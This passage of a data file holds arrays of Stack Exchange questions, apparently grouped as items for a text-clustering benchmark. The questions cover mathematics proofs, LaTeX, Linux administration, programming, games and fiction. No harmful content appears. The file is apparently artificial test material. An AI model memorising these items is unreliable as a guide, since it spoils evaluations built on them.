my house in minecraft", "\"Writ large\", \"Writ small\", and others I have seen this used with other words besides \"large\" and \"small\". What other words can be used? Can this structure be used more generally with other adjectives?", "Protect .NET code from reverse engineering? Obfuscation is one way, but it can't protect from breaking the piracy protection security of the application. How do I make sure that the application is not tampered with, and how do I make sure that the registration mechanism can't be reverse engineered? Also it is possible to convert a C# application to native code, and is too costly. C# provides lot of features, and is the ideal language for my code, so writing the whole codebase again in C++ is out of the question. Secure certificates can be easily removed from the signed assemblies in .NET.", "Let's stop displaying a user's accept rate My feature request (or anti-feature-request perhaps) is the following: Let's stop displaying a user's accept rate. For those of you who know \"Fawlty Towers\", the whole issue of a visible accept rate and our behavior towards it starts to feel like . We generally seem to agree that harassing a user about it is not appropriate and that our decision to answer a question should not depend on it, yet we display it in varying terrorist-threat-levels of color. Yes dear users, please don't pay any attention to the brightly orange colored percentage you see there. And whatever you do, don't bring it up. But as long as you're displaying the accept rate, people will comment on it, criticize users for it and possibly reconsider answering because of it. And while I'm of the opinion that a low accept rate should not stop you from answering (we're here to make the internet better after all) and that the possible reputation gain (or lack thereof) should not factor in either, I can't blame users for considering it. It's in their face after all. And we're only people. So let's take the issue off the table. Or at least partially. Information about a user's acceptance behavior can still always be gathered from the profile. But at least that would be less in-your-face. \"But it helps me to see if a user is a help vampire!\" I'm still wondering if those are of the sparkly variety as well, but I digress. So what? If the question is bad, downvote it. Evaluate a question on its individual value. There is no need to take a user's history into account. There might be a correlation between the quality of a question and a user's accept rate, but there doesn't have to be. And if there is, the bigger problem is the question's quality. \"Exactly! A user with a low accept rate might indicate there's a problem!\" I'm not arguing we should get rid of the accept-rate value within SO/SE. After all, this Q&A works based on up and downvotes, as well as the acceptance of an answer. But why not use it behind the scenes to (very occasionally) nudge the user with a statement like: \"You have received several answers to your questions, yet have not accepted an answer as correct or helpful in a while. You might want to evaluate them and where possible \". After all, in the various questions with regards to comments on low accept rates, if any comments are encouraged at all, then they are of this soft variety. So why not let the system take care of that? I feel this would take the whole issue of accept rate off the table, while still providing the user with the information he might have missed or needs. (As a bonus, it would reduce the frequency with which the topic is brought up here on Meta) And those users who would ignore this information are most likely not convinced by a displayed percentage either." ]

[ "Show that $A$ is an invertible matrix if $\\left(A+I\\right)^3=0$ and find $A^{-1}$", "Why can't I log into minecraft with a mojang account?", "Why can't I transform faces, edges, or vertices without transforming the whole object?", "What is the difference between a desktop environment and a window manager? I'm having a really hard time trying to understand what the differences between a desktop environment and a window manager are? EDIT: From this : There are basically three layers that can be included in the Linux desktop: X Windows – This is the foundation that allows for graphic elements to be drawn on the display. builds the primitive framework that allows moving of windows, interactions with keyboard and mouse, and draws windows. This is required for any graphical desktop. Window Manager – The Window Manager is the piece of the puzzle that controls the placement and appearance of windows. Window Managers include: , , , , , etc. Requires X Windows but not a desktop environment. Desktop Environment – This is where it begins to get a little fuzzy for some. A Desktop Environment includes a Window Manager but builds upon it. The Desktop Environment typically is a far more fully integrated system than a Window Manager. Requires both X Windows and a Window Manager. Examples of desktop environments are , , , among others)", "Metropolis is not working I tried to use the metropolis beamer theme, but I got the following error ! Package beamerfontthememetropolis Error: Patching section title failed. See the beamerfontthememetropolis package documentation for explanation. Type H <return> for immediate help.... \\patchcmd", "I want to merge an audio file (.wav or .au format) with a video file (.mp4 format). Please suggest me how to achieve this. I want to merge these file to new .mp4 video file. An ffmpeg command would be very welcome.", "I've just purchased a new brand laptop with 17 inch size of the screen. I've installed Texmaker and it is messy. The icons are very small and the GUI is not zoomed out automatically to fit the contents of the window. These are pictures I've already set the size of the icons to medium and the size of apps to 250 (i.e. the recommended size) for the display. I'm using Windows 10. Some fonts are blurry and a lot of people are complaining about this problem with no solution from Microsoft. Any suggestions?", "How to show that $\\lim \\frac{1}{n} \\sum_{i=1}^n \\frac{1}{i}=0 $? Show that $$\\lim \\frac{1}{n} \\sum_{i=1}^n \\frac{1}{i} =0 $$ I've proved that this sequence converges (it is bounded and decreasing). NOW, I need to find a sequence that is bigger than this one and goes to zero. Maybe something using geometric serie of 1/2 Thanks in advance!", "How can I safely create a nested directory in Python? What is the most elegant way to check if the directory a file is going to be written to exists, and if not, create the directory using Python? Here is what I tried: import os file_path = \"/my/directory/filename.txt\" directory = os.path.dirname(file_path) try: os.stat(directory) except: os.mkdir(directory) f = file(filename) Somehow, I missed os.path.exists (thanks kanja, Blair, and Douglas). This is what I have now: def ensure_dir(file_path): directory = os.path.dirname(file_path) if not os.path.exists(directory): os.makedirs(directory) Is there a flag for \"open\", that makes this happen automatically?", "I have what seems to me a very simple proof that $A_{n}$ is the only subgroup of $S_{n}$ of index 2. Since I've seen other people prove it with what feel like really complicated methods (), I'm wondering if I've overlooked something. Proof: Let $H$ be any subgroup of index 2 in $S_{n}$. Then $H\\cap A_{n}$ is a normal subgroup of $A_{n}$ and since $A_{n}$ is simple, $H$ is either the trivial or the improper subgroup of $A_{n}$. If it's the trivial subgroup it doesn't have index 2 in $S_{n}$, and otherwise the theorem is proved.", "Why is there free space at the end of NTFS Partitioned Drives? I've been wondering this for a while, why is there free space at the end of a drive that was formatted to NTFS in windows? You can only see the unallocated space in Linux. So why is it there? Does it serve a purpose?", "Can I travel within the Schengen area without a passport if I have my residency permit card? I am currently located in the Netherlands and have lived here for 4 years. I have a working visa for the Netherlands and would like to go on vacation to another country in Europe. I however do currently not have my passport as i sent it to an embassy for a visa application. Will I still be able to travel inside of Europe without a passport if I have my residency ID? I have a resident permit, not a true Dutch ID. And I own a passport that is currently in transit. I have called with the KLM and the service employee's conclusion was that I do need to carry my passport with me when i am going to fly, so it seems all I can do is wait and hope my passport is returned to me in the next few days as the amsterdam US consulate (who currently holds my passport) is incredibly difficult to contact for urgent matters.", "What are the TeX definitions for the hyphen and dashes -, --, and ---? I've tried latexdef which does not handle --- as the operand. And \\texemdash is defined as a character. So that leaves me once again leaning on the collective wisdom of the group :)", "Why did Voldemort take the wand of one of his most loyal servants? In Harry Potter and the Deathly Hallows, chapter one The Dark Lord Ascending, Voldemort believes he must use a wand other than his own in order to kill Harry, when Harry is moved from Privet Drive. He demands Lucius Malfoy's wand, and gets it. My question is, why did Voldemort take the wand of one of his most loyal servants, rendering Lucius Malfoy useless if a battle was to occur? If I remember correctly, he had Ollivander at his disposal, and he was the one who told him to use another wand in first place. Why not ask Ollivander to create another wand, or just use ones that he had ready to sell in his shop at Diagon Alley? He could even have taken Ollivander's own wand. If my memories are correct, a wand's importance was compared to that of a limb.", "We have a job that is set to run Monday thru Friday. Up until two weeks ago, it ran fine 5 days a week. For the last two weeks it has failed on Monday. I am unable to locate where to find the point of failure. ### Example Scripts 0 2 * * 1-5 /admin/scripts/example.exp 1>/dev/null 2>&1 We run AIX 7.1. I've looked in the /var/log/ and there is no cron file there. Looking for advice to add to this so we can troubleshoot. I found that the log is located in /var/adm/log. Further we are getting this error repeatedly ever since this date/time. How do I clear this max limit? c queue max run limit reached Fri Nov 25 21:52:00 2016 ! rescheduling a cron job Fri Nov 25 21:52:00 2016", "Proof that the One-Dimensional Simple Harmonic Oscillator is Non-Degenerate? The standard treatment of the one-dimensional (SHO) using the raising and lowering operators arrives at the countable basis of eigenstates $\\{\\vert n \\rangle\\}_{n = 0}^{\\infty}$ each with corresponding eigenvalue $E_n = \\omega \\left(n + \\frac{1}{2}\\right)$. Refer to this construction as the abstract solution. How does the abstract solution also prove uniqueness? Why is there only one unique sequence of countable eigenstates? In particular, can one prove the state $\\vert 0\\rangle$ is the unique ground state without resorting to coordinate representation? (It would then follow that the set $\\{\\vert n \\rangle\\}_{n = 0}^{\\infty}$ is also unique.) The uniqueness condition is obvious if one solves the problem in coordinate representation since then one works in the realm of differential equations where uniqueness theorems abound. Most textbooks ignore this detail (especially since they often solve the problem both in coordinate representation and abstractly), however I have found two exceptions: Shankar appeals to a theorem which proves one-dimensional systems are non-degenerate, however this is unsatisfactory for two reasons: Not every one-dimensional system is non-degenerate, however a general result can be proven for a large class of potentials (the SHO potential is in such a class). The proof requires a departure from the abstract solution since it classifies the potentials according to their functional properties. Griffiths addresses this concern in a footnote stating that the equation $a \\vert 0\\rangle = 0$ uniquely determines the state $\\vert 0\\rangle$. Perhaps this follows from the abstract solution, however I do not see how.", "Intuitive explanation of the inverse square power $\\frac{1}{r^2}$ in Newton's law of gravity", "Given a set $\\{1,2,3,4\\}$, how is the following relation $R$ antisymmetric? $$R = \\{(1, 2), (2, 3), (3, 4)\\}$$ Note: Antisymmetric is the idea that if $(a,b)$ is in $R$ and $(b,a)$ is in $R$, then $a = b$. In my textbook it says the above is antisymmetric which isn't the case as whenever $(a,b)$ is in $R$, $(b,a)$ is not.", "Book for proof writing", "Maintaining the final state at end of a CSS3 animation" ]

[ "Is there a NumPy function to return the first index of something in an array? I know there is a method for a Python list to return the first index of something: >>> l = [1, 2, 3] >>> l.index(2) 1 Is there something like that for NumPy arrays?", "How would you represent \"religion\" in an icon, neutrally?", "I'm trying to identify a book I read in school, though I can't recall at what grade level; let's say it had to have been published before I graduated high school in 2000. Despite being required reading, it didn't feel much like a classic. The story took place on Earth, after some catastrophe had caused the air to become poisonous. However, one teenage girl was able to survive because her house was in a valley which was somehow protected from the poisonous winds and was able to sustain its own ecosystem. One day, a man wearing a protective full-body suit and gas mask appears in the valley, and both are rather surprised to find someone else alive. She feeds and shelters the man and shows him how she had come to survive in the valley. Rather abruptly… the man attempts to rape her, but she overpowers him somehow. She steals his protective suit and starts to leave the valley. He tells her that he had seen birds in a certain direction away from the valley, indicating there might be life there as well, and she leaves. I believe there was an author's note either at the beginning or end of the book stating that the author had actually died while writing the manuscript, and that their friends or family had finished the book by going off the author's original notes, which I suppose may explain the abruptness of the ending. In case it wasn't clear from the above, I didn't really like the book. But I'm curious about it regardless.", "Prove that $\\mathbb{Z}$ is not isomorphic to additive group of any vector space over any field. Proof. Surpose that: $\\phi : (A, +) \\rightarrow \\mathbb{Z} $ is an isomorphism. Then there is some $r∈A $ such that $ϕ(r)=1_\\mathbb{Z}$. We have $$ 1_\\mathbb{Z}=ϕ(r)=ϕ(2(r/2))=2ϕ(r/2)$$ or equivalently that $ϕ(r/2)=\\frac{1}{2}$. But this is not in $ \\mathbb{Z}$, so there can be no such morphism. Is my proof above correct? Thanks", "Inductive proof that ${2n\\choose n}=\\sum{n\\choose i}^2.$ I would like to prove inductively that $${2n\\choose n}=\\sum_{i=0}^n{n\\choose i}^2.$$ I know a couple of non-inductive proofs, but I can't do it this way. The inductive step eludes me. I tried naively things like $${2n+2\\choose n+1}={2n+2\\over n+1}{2n+1\\choose n}=2\\cdot {2n+1\\over n+1}{2n\\choose n},$$ But I don't think it can lead me anywhere. I would like the proof to be as simple as possible.", "How can I use 3rd party libraries on QGIS plugins on Windows? I've developed a plugin that uses rasterio and numpy for a customer, but he's having problems installing rasterio and numpy. Actually rasterio and numpy were installed in it's main system Python (C:\\Python27), but I need QGIS Python to recognize it.", "Why does everyone do 9-overlord, not 10-overlord? What is the advantage on saving the money for the overlord when you have 9 drones, and not filling your supply first and then getting the overlord? In my theory, in the first case you get to wait the saving time with 9 drones, and get to wait almost the same time with 10 drones in the second case. Second case should be better, since 10 drones mine faster than 9? So why does everybody go with the first case? All this is assuming you go 12 pool or something like that, where you will get more drones after the overlord. 6- and 8-pools are obviously different.", "How do I recover or \"undelete\" files that I accidentally deleted? I've accidentally deleted some really important files on my machine, and I'm looking to find out how to recover them. Using the Trash bins \"restore\" isn't an option, as the files aren't there (mostly likely I wasn't paying attention and permanently deleted them from there). Is there any way that I can un-delete these files?", "How to use more than 10 tab stops in bmatrix or other amsmath matrix environments? I'm using bmatrix environment from the amsmath package, and I'm trying to do something like this: \\documentclass{article} \\usepackage{amsmath} \\begin{document} \\begin{equation} \\begin{bmatrix} 1 & 2 & 3 & 4 & 5 & 6 & 7 & 8 & 9 & 10 & 11\\\\ \\end{bmatrix} \\end{equation} \\end{document} However, pdfLaTeX returns an error: \"Extra alignment tab has been changed to \\cr\", and in the output the extra element is moved to the next row. (If I remove one element, then it works perfectly fine). I guess this means that I've hit some hard limit on the number of tab stops in a matrix. Is there a way to change this? The elements in the matrix are short and could fit perfectly on a single row.", "What's the difference between \"cardinal\" and \"ordinal\" as adjectives?", "Implementing the decorator pattern in Python", "Explicit vs implicit SQL joins Is there any efficiency difference in an explicit vs implicit inner join? For example: SELECT * FROM table a INNER JOIN table b ON a.id = b.id; vs. SELECT a.*, b.* FROM table a, table b WHERE a.id = b.id;", "Diacritics and non-English letters in anglicized loan words: keep 'em, dump 'em, italicize the words, or what?", "AppleScript to read all notifications in the Notification Center OSX 10.10 Yosemite It seems like the following AppleScript is no longer working in the latest version of the OS X 10.10 (Yosemite): on run tell application "System Events" tell process "Notification Center" set theseWindows to every window display notification (count of theseWindows) end tell end tell end run This were supposed to get all notifications listed in the Notification Center. However, the count attribute always returns 0. Does anyone know how to retrieve all notifications in the Notification Center different than the script above?", "How to split bibliography into \"works cited\" and \"works not cited\"? I need two bib-like sections: a \"References\" giving works explicitly cited in my text, and a \"Bibliography\" (or \"Further reading\" if you prefer) giving everything from my bibfile that didn't already appear in \"References\". The first is of course completely standard, but the second... I'm stumped. Further loose constraints: I'm somewhat committed to biblatex and the biblatex-apa style. But I'll happily accept an answer not related to them if there's any chance I can adapt it.", "In-universe explanation for single line of planetary entry/departure in Star Wars", "Is stats maths or not? Given that it's all numbers, mostly taught by maths departments and you get maths credits for it, I wonder whether people just mean it half-jokingly when they say it, like saying it's a minor part of maths, or just applied maths. I wonder if something like statistics, where you can't build everything on basic axioms can be considered maths. For example, the $p$-value, which is a concept that arose to make sense of data, but it's not a logical consequence of more basic principles.", "Diff is a great tool to display the changes between two files. But how to display the similarities of two text files (while ignoring the differences)? I.e. sample input: a: Foo Bar X Hello World 42 b: Foo Baz Hello World 23 Pseudo output (something like this): @@ 2,3 =Hello World Just sorting both files and using comm is not enough, because in that case the line information is lost.", "Variance of a linear combination of vectors Let $A$ and $B$ be two constant matrices and let $x$ and $ y$ be two random vectors, what is the general formula for $Var(Ax+By)$? I know the formula for when $x$ and $y$ are scalar random variables and $A$ and $B$ are constants, but what about the matrix case?", "Python Argument Binders How can I bind arguments to a Python method to store a nullary functor for later invocation? Similar to C++'s boost::bind. For example: def add(x, y): return x + y add_5 = magic_function(add, 5) assert add_5(3) == 8" ]

[ "What can cause \"Android OS\" process to use high percentage of battery?", "I am working on a long document in LaTeX with documentclass book. I need the page number to always be in the upper right corner of each page, even if that page is the first page of a chapter (right now on 1st pages of chapters, the page number is bottom-centered, on all other pages it's top-right). I control the position of the page number with fancyhdr: \\usepackage{fancyhdr} \\pagestyle{fancy} \\lhead{} \\chead{} \\rhead{\\thepage} \\lfoot{} \\cfoot{} \\rfoot{} \\renewcommand{\\headrulewidth}{0pt} Also, I don't know if the problem is related but my chapters do not start from the top of the page. There is a white area, then comes chapter X, then a newline with the chapter line. What I also want is the chapter to start from the top of the page. The main question here is how I can get the page number to always appear in the upper right corner, I mention the thing with the chapter title position only in case that might be related.", "Catch Regex too complicated when splitting a string in salesforce", "I just went to install Java 8 on my ancient laptop that runs Windows XP SP3. Java pops up a message: Java 8 requires a newer version of Windows. You may continue with the installation, but for Java to work as specified we recommend upgrading your computer's operating system. Will Java fail to work properly on Windows XP? Or is this just Oracle trying to be secure?", "Why is using a wild card with a Java import statement bad?", "Looking for a scifi novel with advanced pheromone technology", "I'm looking for a word which describes a task which I think is poorly designed and will lead to either mediocre results or failure, but which I have to do anyway, especially in a work setting. The word \"Dilbertian\" comes to mind, however this word is obviously made up and is only meaningful to someone who is familiar with the Dilbert comic strip, so I'm looking for something which captures both the futility and compulsory nature of the task in a way which is meaningful to a broader audience.", "XPath - Get node with no child of specific type", "How do I append an object (such as a string or number) to an array in JavaScript?", "I am setting up a server where there are multiple developers working on multiple applications. I have figured out how to give certain developers shared access to the necessary application directories using the setgid bit and default ACLs to give anyone in a group access. Many of these applications run under a terminal while in development for easy access. When I work alone, I set up a user for an application and run screen as that user. This has the downside that every developer to use the screen session needs to know the password and it is harder to keep user and application accounts separate. One way that could work is using screen multiuser features. They do not work out-of-the-box however, screen complains about needing suid root. Does giving that have any downsides? I am pretty careful about using suid root anything. Maybe there is a reason why it isn't the default? Should I do it with screen or is there some other intelligent way of doing what I want?", "Currently using ubuntu 15.10 on azure and installed the gnome and vnc4server latest version on ubuntu. Please find log file below: Current VNC client screen: $ cat .vnc/myhost1\\:1.log --cut-- VNCSConnST: Server default pixel format depth 16 (16bpp) little-endian rgb565 VNCSConnST: Client pixel format depth 8 (8bpp) colour-map Window manager warning: Invalid WM_TRANSIENT_FOR window 0x20000c specified for 0x20000b (I nitialization error). Error org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.gnome.ze itgeist.Engine': no such name amdxdg-su: no graphical method available for invoking '/usr/bin/amdcccle' as 'root' $ cat .vnc/xstartup unset SESSION_MANAGER [ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup [ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources vncconfig -iconic & gnome-panel & gnome-settings-daemon & metacity & nautilus -n & gnome-terminal & How to get 24bit color with wide screen (Now I getting square screen in vnc client)", "Fourier series identity", "Let $r$ be the smallest positive integer such that $a^r \\equiv 1 \\bmod{n}$. Prove $r \\mid \\phi(n)$. Let $a \\in \\mathbb {Z}$, $n > 1$ a natural number with $\\gcd(a, n) = 1$, and let $r$ be the smallest positive integer such that $a^r \\equiv 1 \\bmod{n}$. Prove that $r \\mid \\phi(n)$. Euler's generalization of Fermat's Little Theorem: If $n \\in \\mathbb {N}$ and $m \\in \\mathbb{Z}$ such that $\\gcd(m, n) = 1$, then $m^{\\phi(n)} \\equiv 1\\bmod(n)$. By Euler's generalization I would have $a^{\\phi(n)} \\equiv 1\\bmod{n}$. Then I could say $a^r \\equiv a^{\\phi(n)} \\equiv 1 \\bmod{n}$. At this point I can see that $r$ clearly must be some multiple of $\\phi(n)$. If I want to show that $r \\mid \\phi(n)$, then I can show that $\\phi(n) = rk$, for some $k \\in \\mathbb {Z}$. However, I am a bit stuck about how to make this last step showing that $\\phi(n) = rk$, where $k \\in \\mathbb {Z}$.", "Consider the Fibonacci numbers $F(0) = 0; F(1)=1; F(n) = F(n-1) + F(n-2)$. Prove by induction that for all $n>0$, $$F(n-1)\\cdot F(n+1)- F(n)^2 = (-1)^n$$ I assume $P(n)$ is true and try to show $P(n+1)$ is true, but I got stuck with the algebra. How do we reach $P(n+1)$ from $P(n)$? Also, strong induction may be used instead.", "If I've got a file (or files) selected in Windows Explorer, the only way I've found to \"unselect\" them is click with the mouse on some empty space. I thought Esc would do this, but it doesn't. Also changing focus with Tab or Shift + Tab doesn't work; the file(s) are still selected even if focus goes to the address bar for instance. Does anyone know of a keyboard shortcut to do this?", "Selecting features that do NOT intersect in ArcGIS Desktop?", "I've seen a lot of games in the LCS and All-Star, and they sometimes changed bot and top lanes. When is this a good practice? What do you gain from doing this? Should I do this to avoid counters or if my solo laner has more sustain than theirs?", "extract value between two search patterns on same line", "Why are disabled apps still running?", "$\\aleph_1$ is the cardinality of the countable ordinals. It is the least cardinal number greater than $\\aleph_0$, and assuming the continuum hypothesis it's equal to $\\mathfrak{c}$, the cardinality of the the real numbers. My question is, is it possible for all $\\aleph_1$ subsets of $\\Bbb{R}$ to have Lebesgue measure $0$? This is, of course, impossible assuming the continuum hypothesis, because then all sets of real numbers would have measure $0$, which is absurd. But is $\\mathsf{ZFC}$ + $\\lnot\\mathsf{CH}$ + \"all subset of $\\Bbb{R}$ of cardinality $\\aleph_1$ have Lebesgue measure $0$\" consistent? If not, what if we replaced Lebesgue measure with some other measure? It may be worth noting that, although there may be subsets of $\\Bbb{R}$ with cardinality $\\aleph_1$, there are no subsets of $\\Bbb{R}$ which have the order-type $\\omega_1$ (the order-type of the countable ordinals) under the usual ordering on $\\Bbb{R}$. Any help would be greatly appreciated. Thank you in Advance." ]

[ "Find the volume of a cone whose length of its side is $R$ How can i compute the volume of a cone whose length of its side is $R$ and the vertex of the cone forms an angle $2θ$ . The top cone is a cap of a sphere of radius $R$. I tried to solve first in 2 dimension and then use solid of revolution: Some help please to find the volume of this cone.", "Style/class tutorials What are some good tutorials on writing custom styles (classes) that clearly explain commands used and some of the features that TeX has to offer in the way of styles?", "Why does `type which` say that `which is hashed`?", "Designer Added then removed by Visual Studio on load/unload", "Retrieve the position (X,Y) of an HTML element relative to the browser window", "Transpose Ranges repeated by row I would like to convert several range of columns into rows, and keeping the association to the original col/row source Sample source sheet --------------------------------------------------- | Data 1 | 1/1/2018 | 1/2/2018 | 1/3/2018 | etc...365 days | --------------------------------------------------- | name 1 | 25 | 30 | 5 | etc...| --------------------------------------------------- | name 2 | 2 | | 4 | etc...| --------------------------------------------------- | etc ... 100 rows Expected Results --------------------------------------------------- | Data 1 | Date | Value | --------------------------------------------------- | name 1 | 1/1/2018 | 25 | --------------------------------------------------- | name 1 | 1/2/2018 | 30 | --------------------------------------------------- | name 1 | 1/3/2018 | 5 | --------------------------------------------------- | name 1 | etc.. 365 days --------------------------------------------------- | name 2 | 1/1/2018 | 2 | --------------------------------------------------- | name 2 | 1/2/2018 | | --------------------------------------------------- | name 2 | 1/3/2018 | 4 | --------------------------------------------------- | name 2 | etc.. 365 days --------------------------------------------------- | etc ... for each change of name pull all the col dates/values Current results --------------------------------------------------- | Data 1 | Date | Value | --------------------------------------------------- | name 1 | 1/1/2018 | 25 | --------------------------------------------------- | | 1/2/2018 | 30 | --------------------------------------------------- | | 1/3/2018 | 5 | --------------------------------------------------- | | etc.. 365 days I have to copy down to bring in \"name 1\" for each date --------------------------------------------------- | name 2 | 1/1/2018 | 2 | now update the formula to bring in the second item for the sequence of dates --------------------------------------------------- | | 1/2/2018 | | --------------------------------------------------- | | 1/3/2018 | 4 | --------------------------------------------------- | | etc.. 365 days --------------------------------------------------- | etc ... =Sheet1!A:A I can bring in the name from the source list, but I have to copy it down for the number of dates. How can I have it match the number of dates? and be dynamic to update as dates/values are added Edit: trying to use split and rept to count the number of times to repeat, then transpose.. =transpose(rept(split(arrayformula(concatenate(Sheet1!A:A&\"1\")),\"1\",True, True),COUNTA(Sheet1!I1:ZZ1))) =TRANSPOSE(Sheet1!$C$1:$Z$1) I can use transpose to get the dates/values, but it's fixed range. How can I make it dynamic to import dates as they are added?", "Shorter way to say \"conversational partner\" I'm looking for a proper English word to say \"conversational partner\". Is \"interlocutor\" a word an average person would understand? Are there any other words or shorter expressions which could describe a person you are having a conversation with, but who is not your friend and is basically unknown to you?", "I have currently a strange problem on debian (wheezy/amd64). I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path /chr_path/. To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64). All seemed to work well inside the chroot but when I started the installer script of my server I got : zsh: Not found /some_path/perl (the installer includes a perl binary for some reasons) Naturally, I checked the /some_path/ location and I found the \"perl\" binary. file in chroot environment returns : /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped The file exists, seems ok, has correct rights. I can use file, ls, vim on it but as soon as I try to execute it - ./perl for example - I get : zsh: Not found ./perl. This situation is quite understandable for me. Moreover : I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors I have the same problems for other binaries that came with the project When I try to execute the binary from the main root (/chr_path/some_path/perl), it works. I have tried to put one of the binaries with a copy of my ls. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)", "C/C++ check if one bit is set in, i.e. int variable int temp = 0x5E; // in binary 0b1011110. Is there such a way to check if bit 3 in temp is 1 or 0 without bit shifting and masking. Just want to know if there is some built in function for this, or am I forced to write one myself.", "How to evaluate $ \\lim \\limits_{n\\to \\infty} \\sum \\limits_ {k=1}^n \\frac{k^n}{n^n}$? I can show that the following limit exists but I am having difficulties to find it. It is $$\\lim_{n\\to \\infty} \\sum_{k=1}^n \\frac{k^n}{n^n}$$ Can someone please help me?", "Is there an unsubdivide function in Blender? I am wondering if there is a modifier or tool that will essentially undo a subsurf or subdivide command.", "Why are there humans in the Star Wars Universe? Kind of brought to my attention by . The poster mentions non-humans, which implies that there are humans in the Star Wars universe. However, since it happened \"A long time ago, in a galaxy far far away\", how could there be any humans in the Star Wars universe? Are there \"humans\" in Star Wars there just because it was easier to make the movies that way? Other shows such as Star Trek are about the future of humans, so it's easy to understand the existence of humans in those storylines. However for Star Wars it just doesn't make sense. It also seems odd that they'd go around creating all these different species and then just leave the main characters as humans. I guess another possibility is that the humans in star Wars eventually populated Earth, but then what happened to all the technology?", "Why we can't implement AES 512 key size? Out of curiosity why we can't implement AES 512 key size? Please explain somehow i can understand! I'm not an expert.", "Are there any best practices for choosing the title of web pages? There are a lot of resources online oriented toward SEO, but not toward users. My impression is that most sites have something similar to Product - Page. But there are cases when switching this around is more useful. For example, if mail clients displayed the title like this: Inbox (3) - Gmail Instead of: Gmail - Inbox (3) You would be able to see the message count, even if the title was cut off. (I'm pretty sure Gmail used to do this). I assume the title is mostly ignored by users except when: using boorkmarks finding the right tab in the browser What are the considerations for users when choosing a web page title? Are there different considerations for the home page, pages behind a login, etc?", "Ubuntu open to black screen with blinking underscore character after release upgrade I upgraded my Ubuntu OS from 12.10 to 13.04 and after the process of upgrading it via Software Updater, it requested me to restart the computer. I rebooted and on boot I proceeded to a purple screen with Ubuntu text and 5 dots below it and continued to a blank black screen with a blinking underscore character (_). I have all my files in there and I can't access them. I tried the grub boot menu edit that other questions pointed out, but it didn't seem to do anything.", "Use physical harddisk in Virtual Box", "Installing Ubuntu from a partition on internal drive I am about to install Ubuntu on my new laptop, but I don't have access to a USB drive of any sort and it doesn't have an optical drive. Would it be possible to boot into the Ubuntu installer if I save it to a new partition on my hard drive and boot from there via the BIOS? In case you need it, , which lists my system specifications. Thanks in advance for any assistance you may be able to provide. :)", "If a variable is declared as static in a function's scope it is only initialized once and retains its value between function calls. What exactly is its lifetime? When do its constructor and destructor get called? void foo() { static string plonk = \"When will I die?\"; }", "It's taken me almost 10 years of Linux usage to ask this question. It was all trial and error and random late-night internet surfing. But people shouldn't need 10 years for this. If I were just starting out with Linux, I'd want to know: When to alias, when to script, and when to write a function? Where aliases are concerned, I use aliases for very simple operations that don't take arguments. alias houston='cd /home/username/.scripts/' That seems obvious. But some people do this: alias command=\"bash bashscriptname\" (and add it to the .bashrc file) Is there a good reason to do that? I'm trying really hard, but I genuinely can't think of any circumstances in which I'd want to do that. So, if there is an edge case where that would make a difference, please answer below. Because that's where I would just put something in my PATH and chmod +x it, which is another thing that came after years of Linux trial-and-error. Which brings me to the next topic. For instance, I added a hidden folder (.scripts/) in the home directory to my PATH by just adding a line to my .bashrc (PATH=$PATH:/home/username/.scripts/), so anything executable in there automagically autocompletes. If I needed to. I don't really need that, though, do I? I would only use that for languages that are not the shell, like Python. If it's the shell, I can just write a function inside the very same .bashrc: funcname () { somecommand -someARGS \"$@\" } As I stated, I found a lot of this out through trial and error. And I only truly saw the beauty of functions when my computer died and I was forced to use the computers of the people around me when they weren't using them. Instead of moving a whole directory of scripts from computer to computer, I ended up just replacing everyone else's .bashrc with my own, since they had never even made a single modification. But did I miss anything? So, what would you tell a beginning Linux user about when to alias, when to script, and when to write a function? If it's not obvious, I'm assuming the people who answer this will make use of all three options. If you only use aliases, or only use scripts, or only use functions—or if you only use aliases and scripts or aliases and functions or scripts and functions—this question isn't really aimed at you.", "How to convert image file data in a byte array to a Bitmap?" ]

[ "Sort array of objects by string property value", "Is there a direct download link with a raw data dump of Stack Overflow? (not a torrent) I would like to create a local MySQL copy of Stack Overflow for academic purposes (school project). As far as I know, the database dump of the database is available only in an XML format that I will have to convert to SQL on my own with some tool. Most of direct download links I found were broken (404). The only non-torrent source that I have found and that is still alive is but the latest Stack Overflow dump there is from October 2009, content of which looks like this: Where could I find a direct download link with the Stack Overflow dump? Note: I am not able to use torrents due to network policies, yet for the completeness of this question, here's the link that might help someone: Other related questions / links that haven't helped me: ~ all links there give 404 ~ from September '09 with another broken link ~ from about a year ago with a clearbits.net link ~ also not working anymore", "I want to write several classes, most of them will use KOMA classes as base class. However I stumbled upon the problem that some options (mainly concerned with layout) are not processed if given in the wrapper class: \\begin{filecontents}{test.cls} \\ProvidesClass{test}[2015/01/01] \\DeclareOption*{\\PassOptionsToClass{\\CurrentOption}{scrartcl}} \\ProcessOptions\\relax \\LoadClass[paper=a5]{scrartcl} \\end{filecontents} \\documentclass{test} \\usepackage{blindtext} \\begin{document} \\section{Test} \\blindtext \\end{document} This results in LaTeX Warning: Unused global option(s): [paper=a5] If i give the option as \\documentclass[paper=a5]{test} it is used correctly, because I pass the options to scrartcl. However I want to change the defaults for the layout. How can I achieve this?", "How do I use the 'scientific' mode in the Calculator?", "I'm trying to transition from a list of pros to a list of cons, and would like to have some sort of transition quote. Something in the form of, \"But, alas, (((something something quote quote)))\" Everything that has a beginning has an end, something along the lines of that.", "Imagine you're teaching a first course on quantum mechanics in which your students are well-versed in classical mechanics, but have never seen any quantum before. How would you motivate the subject and convince your students that in fact classical mechanics cannot explain the real world and that quantum mechanics, given your knowledge of classical mechanics, is the most obvious alternative to try? If you sit down and think about it, the idea that the state of a system, instead of being specified by the finitely many particles' position and momentum, is now described by an element of some abstract (rigged) Hilbert space and that the observables correspond to self-adjoint operators on the space of states is not at all obvious. Why should this be the case, or at least, why might we expect this to be the case? Then there is the issue of measurement which is even more difficult to motivate. In the usual formulation of quantum mechanics, we assume that, given a state $|\\psi \\rangle$ and an observable $A$, the probability of measuring a value between $a$ and $a+da$ is given by $|\\langle a|\\psi \\rangle |^2da$ (and furthermore, if $a$ is not an eigenvalue of $A$, then the probability of measuring a value in this interval is $0$). How would you convince your students that this had to be the case? I have thought about this question of motivation for a couple 